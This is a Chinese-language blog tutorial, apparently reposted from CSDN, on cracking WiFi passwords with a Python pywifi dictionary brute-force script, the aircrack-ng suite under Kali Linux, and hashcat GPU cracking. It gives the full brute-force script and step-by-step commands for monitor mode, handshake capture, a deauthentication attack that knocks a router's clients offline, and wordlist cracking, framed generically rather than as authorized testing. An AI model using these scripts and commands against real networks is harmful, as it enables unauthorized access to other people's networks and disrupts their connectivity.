Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)

编程知识 更新时间:2023-05-01 03:01:09

目录

 

1、pywifi、python破解wifi

1.1 pywifi模块下载

1.1.1运行python是在PyCharm 2020.3,

1.1.2   pywifi模块介绍并安装:

1.1.3 用python破解wifi的代码

2. kali linux破解wifi密码

2.1 kali安装

2.2 kali配置一些问题

2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网

2.2.2 根据需要调整内存、处理器、硬盘的大小

2.2.3 USB的虚拟共享蓝牙设备勾选上

2.3 aircrack-ng安装使用

2.4 准备好一个可以监听的无线网卡

2.5 插上无线网卡并连接到kali

2.5.1 在虚拟机选择中选择虚拟机的菜单

2.5.2 点击里边的 可移动设备 

2.6 准备用aircrack-ng破解无线WiFi

2.6.1 确认无线网卡连接成功

 2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)

 2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。

2.6.4  扫描附近wifi 命令 airodump-ng wlan0mon

2.6.5 监听获取握手包

2.6.6 攻击路由器进行断网重新连接

 2.6.7 查看wifi目录下的-01.cap文件

 2.7 正式破解WiFI密码

 2.8 kali aircrack-ng破解wifi小结

 3. Hashcat 破解无线WiFi密码

3.1 hashcat 安装:

3.1.1 打开hashcat的官网

 3.1.2 解压hashcat的压缩包

 3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件

3.1.4 准备 hashcat攻击

3.1.4.1常见的hashcat命令

3.2  正式hashcat攻击

3.3  hashcat 破解无线WIFi小结

3.4 速度对比


1、python、pywifi破解无线WiFi密码

1.1 pywifi模块下载

1.1.1运行python是在PyCharm 2020.3,

        其他环境也可以 。PyCharm下载地址

1.1.2   pywifi模块介绍并安装:


        pywifi提供了一个跨平台的Python模块,用于操作无线接口(支持Windows和Linux)之前已经安装过了,所以显示already satisfied,也可以根据该命令判断是否已安装成功 

        win +R 输入cmd 打开命令终端

        在cmd中输入命令 pip install pywifi  和 pip install comtypes

1.1.3 用python破解wifi的代码

 具体代码如下:

import pywifi               #引用pywifi库
from pywifi import const    #获取连接状态的常量库
import time

# 尝试链接,返回连接状态
def wifiConnect(ifaces,pwd):

    # 首先要断开无线网卡连接
    ifaces.disconnect()                     #断开链接
    time.sleep(1)                           #断开给1s的等待时间

    # 获取wifi的连接状态
    wifistatus = ifaces.status()

    # 判断是否网卡断开,断开后开始连接测试
    if wifistatus == const.IFACE_DISCONNECTED:      #判断wifi的链接的是否断开

        # 创建新的wifi连接文件
        profile =  pywifi.Profile()

        # 要连接的wifi的名称
        profile.ssid = 'mytest'                        #根据需要自己修改名称

        # 网卡的开放状态 | auth - AP的认证算法
        profile.auth = const.AUTH_ALG_OPEN
        # wifi的加密算法,一般wifi 加密算法时wps  #选择wifi加密方式  akm - AP的密钥管理类型
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元 /cipher - AP的密码类型
        profile.cipher = const.CIPHER_TYPE_CCMP

        # 调用密码 (要匹配的密码)
        profile.key = pwd

        # 删除所有连接过的无线WiFi文件
        ifaces.remove_all_network_profiles()
        # 加载新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)         #尝试新的链接
        time.sleep(3)                       #连接给3s的等待时间

        #WiFi连接成功返回 True
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("wifi连接,需要断开连接")

# 读取密码本
def readPassword():
    print("开始破解:")
    # 密码本路径(放在py文件的同一目录下)
    path ="wifi_password_test.txt"
    # 打开文件
    f = open(path,"r")

    while True:
        try:
            # 一行一行读取
            password = f.readline()
            password = password[:-1]
            bool = wifiConnect(ifaces,password)

            if bool:
                print("密码已成功破解:",password)
                print("wifi已连接!")
                break
            else:
                print("密码破解中,密码校对:",password," 失败")
                if not password:
                    print('文件已读取完.')
                    f.close()
                    break
        except:
            # continue
            print("error")

if __name__ == '__main__':

    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    readPassword()

1.1.3.1首先找到要破解无线WiFi

这里就用mytest的无线WiFi作为测试

 ​​​​

 1.1.3.2  运行python代码

注意:在代码中输入要破解的无线WiFi名称(自行更改),同时需要有密码本进行配对

1.1.3.3 成功找到密码并成功连接

这里就成功的获得到mytest 的无线WiFi密码 1234567890

 

1.2 python pywifi破解无线WiFi 小结

        使用pywifi 破解简单理解就是密码配对,利用python 代码运行代替人工一个个尝试,同时在断开连接和尝试连接都需要一定等待时间,假设进行一次的配对代码运行需要3s,那么1min 也就配对20次。一小时就1200次,一天就28800次。虽然相比人手动连接密码尝试的效率要搞,但是如果对于密码本字典比较大,匹配的速度还是太慢了。接下我将尝试在kali的破解方法....

2. kali linux aircrack-ng 破解无线WiFi密码

2.1 kali安装

        详细见kali2020.1安装过程详解(真的超详细) - 知乎

2.2 kali配置一些问题

2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网

2.2.2 根据需要调整内存、处理器、硬盘的大小

2.2.3 USB的虚拟共享蓝牙设备勾选上

2.3 aircrack-ng安装使用

kali下面自带aircrack-ng的包

如果没有的话,在终端输入命令:apt-get install aircrack-ng

apt-get install aircrack-ng

 可能遇到的问题:

        1、没有网络下载不了,这就需要看下kali是否按照上边的网络适配器,配置为nat模式

         2、没有进入root模式,这个可以输入命令 sudo su 进行操作

        

aircrack-ng的安装和kali的基本配置也基本完成,接下来准备硬件无线网卡

2.4 准备好一个可以监听的无线网卡

(芯片为3070或者1887L都支持Linux)

本人在某宝上随便找了型号RT5572的无线网卡,大概也就二十多块。

2.5 插上无线网卡并连接到kali

2.5.1 在虚拟机选择中选择虚拟机的菜单

2.5.2 点击里边的 可移动设备 

        查看对应的无线网卡,如果是有个钩就是成功与虚拟机连接了,没有则进行如下操作:

        选中对应的无线网卡,选择 连接(断开与主机的连接)并弹出如下框框(也可能不弹出),只要在确认勾勾有没打上就行了

2.6 准备用aircrack-ng破解无线WiFi

2.6.1 确认无线网卡连接成功

        输入命令:ifconfig 查看网卡信息

ifconfig

         成功会有多一个wlan0的信息,wlan0即无线网卡,注意,如果没有发现网卡可能是芯片不能被识别,建议选择网卡芯片为3037或rtl8187l的。

 2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)

 2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。

2.6.4  扫描附近wifi 命令 airodump-ng wlan0mon

解析:

BSSID: MAC地址

PWR:信号强度,越小信号越强。

#Data:传输的数据, 数据越大对我们越有利, 大的夸张的可能在看电影

CH:信号频道

ESSID:wifi名称

2.6.5 监听获取握手包

命令:airodump-ng --bssid CC:34:29:4C:67:68 -c 11 -w /home/cheng/wifi/ wlan0mon

解析:

-c代表频道, 后面带的是频道

bssid: mac地址(物理地址)

-w代表目录(抓到的握手包放在这个目录下面)

wlan0mon: 网卡名称

        如果一直跑着, 它的数据是不停刷新变化的...下边的就是当前连接着WiFi的设备,如果这是刚好有人进行重新链接WIFI操作,并监听到握手包就会出现红色框框内容

         但是,如果一直没有人重新连接链接...那就一直等着??这时候应该做点什么了,利用deauth洪水攻击,取消目标路由和设备的无线连接,这时候设备重新连接时,会抓取他的握手包,然后用字典进行爆破。新开一个窗口观察

ps:如果无法获取包,攻击路由器进行断网重新连接

2.6.6 攻击路由器进行断网重新连接

输入命令aireplay-ng -0 10 -a CC:34:29:4C:67:68  -c 06:3C:A6:AB:45:1F wlan0mon  

-0 后边接的是攻击的次数

-a 后边接的是攻击路由器MAC地址

-c 后边接的是已经连接上的设备MAC地址

这时候目标路由已经断网,如果抓到包记得ctrl+c关掉这里,然后设备重连,从而获得握手包。

ps:一定不要把次数设置太高,不然一直断网就成恶搞了。

 2.6.7 查看wifi目录下的-01.cap文件

 2.7 正式破解WiFI密码

输入:aircrack-ng ./-01.cap -w /home/cheng/mima1_ok.txt   

解析:

-w后面接的是字典

-01.cap是握手包

这个速度还是非常快,580w 个密码大概也就7min。

 

 如果成功就会出现KEY FOUND 的字样

 

 2.8 kali aircrack-ng破解wifi小结

        相比python的配对,kail的 aircrack-ng破解 速度更加的快1000w的密码,用时间大概15min,这比python 1min 20次配对的速度要快上XX倍(自己算哈...) 但是问题又来了...电脑的CPU烧起来了...风扇响起来了...(前边通过设置了虚拟机的处理器的核数,来增加虚拟机的运算速度,如果不希望有如下场景,可以将虚拟机的处理器的参数设置低点)

问题又来了:

        我们可以在提高运算速度?1000w 15min我还是等不了!

        我们可以不用CPU用GPU运算么,接下我尝试了hashcat?

 

3. Hashcat 破解无线WiFi密码

3.1 hashcat 安装:

        hashcat是一款自称为世界上最快的密码破解工具。下载地址

3.1.1 打开hashcat的官网

打开网页可能会比较慢,耐心等待...

 3.1.2 解压hashcat的压缩包

                随意一个目录下

 3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件

        hashcat的转化为 .hc22000 网站地址

生成对应的文件:

3.1.4 准备 hashcat攻击

3.1.4.1常见的hashcat命令


hashcat常用命令

-m                             指定哈希类型

-a                             指定破解模式

-V                             查看版本信息

-o                             将输出结果储存到指定文件

--force                        忽略警告

--show                         仅显示破解的hash密码和对应的明文

--remove                       从源文件中删除破解成功的hash

--username                     忽略hash表中的用户名

-b                             测试计算机破解速度和相关硬件信息

-O                             限制密码长度

-T                             设置线程数

-r                             使用规则文件

-1                             自定义字符集  -1 0123asd     ?1={0123asd}

-2                             自定义字符集  -2 0123asd    ?2={0123asd}

-3                             自定义字符集  -3 0123asd    ?3={0123asd}

-i                             启用增量破解模式

--increment-min                设置密码最小长度

--increment-max                设置密码最大长度

hashcat破解模式介绍

0    straight                               字典破解

1    combination                            将字典中密码进行组合

3    brute-force                            使用指定掩码破解

6    Hybrid Wordlist + Mask                 字典+掩码破解

7    Hybrid Mask  + Wordlist                掩码+字典破解

hashcat集成的字符集

?l              代表小写字母

?u              代表大写字母

?d              代表数字

?s              代表特殊字符

?a              代表大小写字母、数字以及特殊字符  

?b              0x00-0xff 

3.1.4.2 准备密码本攻击

跳到hashcat的解压后的文件目录下

输入以下命令:hashcat.exe -m 22000 "D:\PycharmProjects\pywifi\mycap\wifi1.hc22000"  "D:\PycharmProjects\pywifi\rockyou.txt"

解析:

hashcat.exe 是hashcat是解压后的文件

-m 是指定哈希类型

"D:\PycharmProjects\pywifi\mycap\wifi1.hc22000"  是转化后.hc22000的路径

"D:\PycharmProjects\pywifi\rockyou.txt" 是密码本的路径

注意点:

可能出现的错误:

自版本 6.0.0 以来,hashcat 一直提供新的哈希模式 -m 22000 。在之前大家可能看到的-m 2500

要根据自己安装的hashcat 的版本进行确认对应的数值。 网站。或者hashcat.exe -h 自行查阅

3.2  正式hashcat攻击

来了开始烧GPU了...

3.3  hashcat 破解无线WIFi小结

        这里我是换了一个wifi密码(不再是12341234),进行测试可惜在1400w的字典中并没有找到...但是也可以看到用hashcap 的速度更加的快.1400w用了只用了 2min30s。相比kali aircrack-ng 破解的速度快上X倍

3.4 速度对比

kali aircrack-ng 的破解方式 大概25min

hashcat 破解方式 大概2min30s

本文作者:九重!
本文链接:https://blog.csdn/weixin_43798572/article/details/122554100
关于博主:评论和私信会在第一时间回复。或者直接私信我。
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【点赞】【收藏】一下。您的鼓励是博主的最大动力!

更多推荐

Python pywifi 、Kali linux aircrack-n、Hashcat 【python、kali】破解无线WiFi密码(详细流程)

本文发布于:2023-04-23 03:24:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/05b4231cecfd2ccfc2b830cd80a10070.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:流程   密码   详细   Kali   linux

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 98069文章数
  • 24967阅读数
  • 0评论数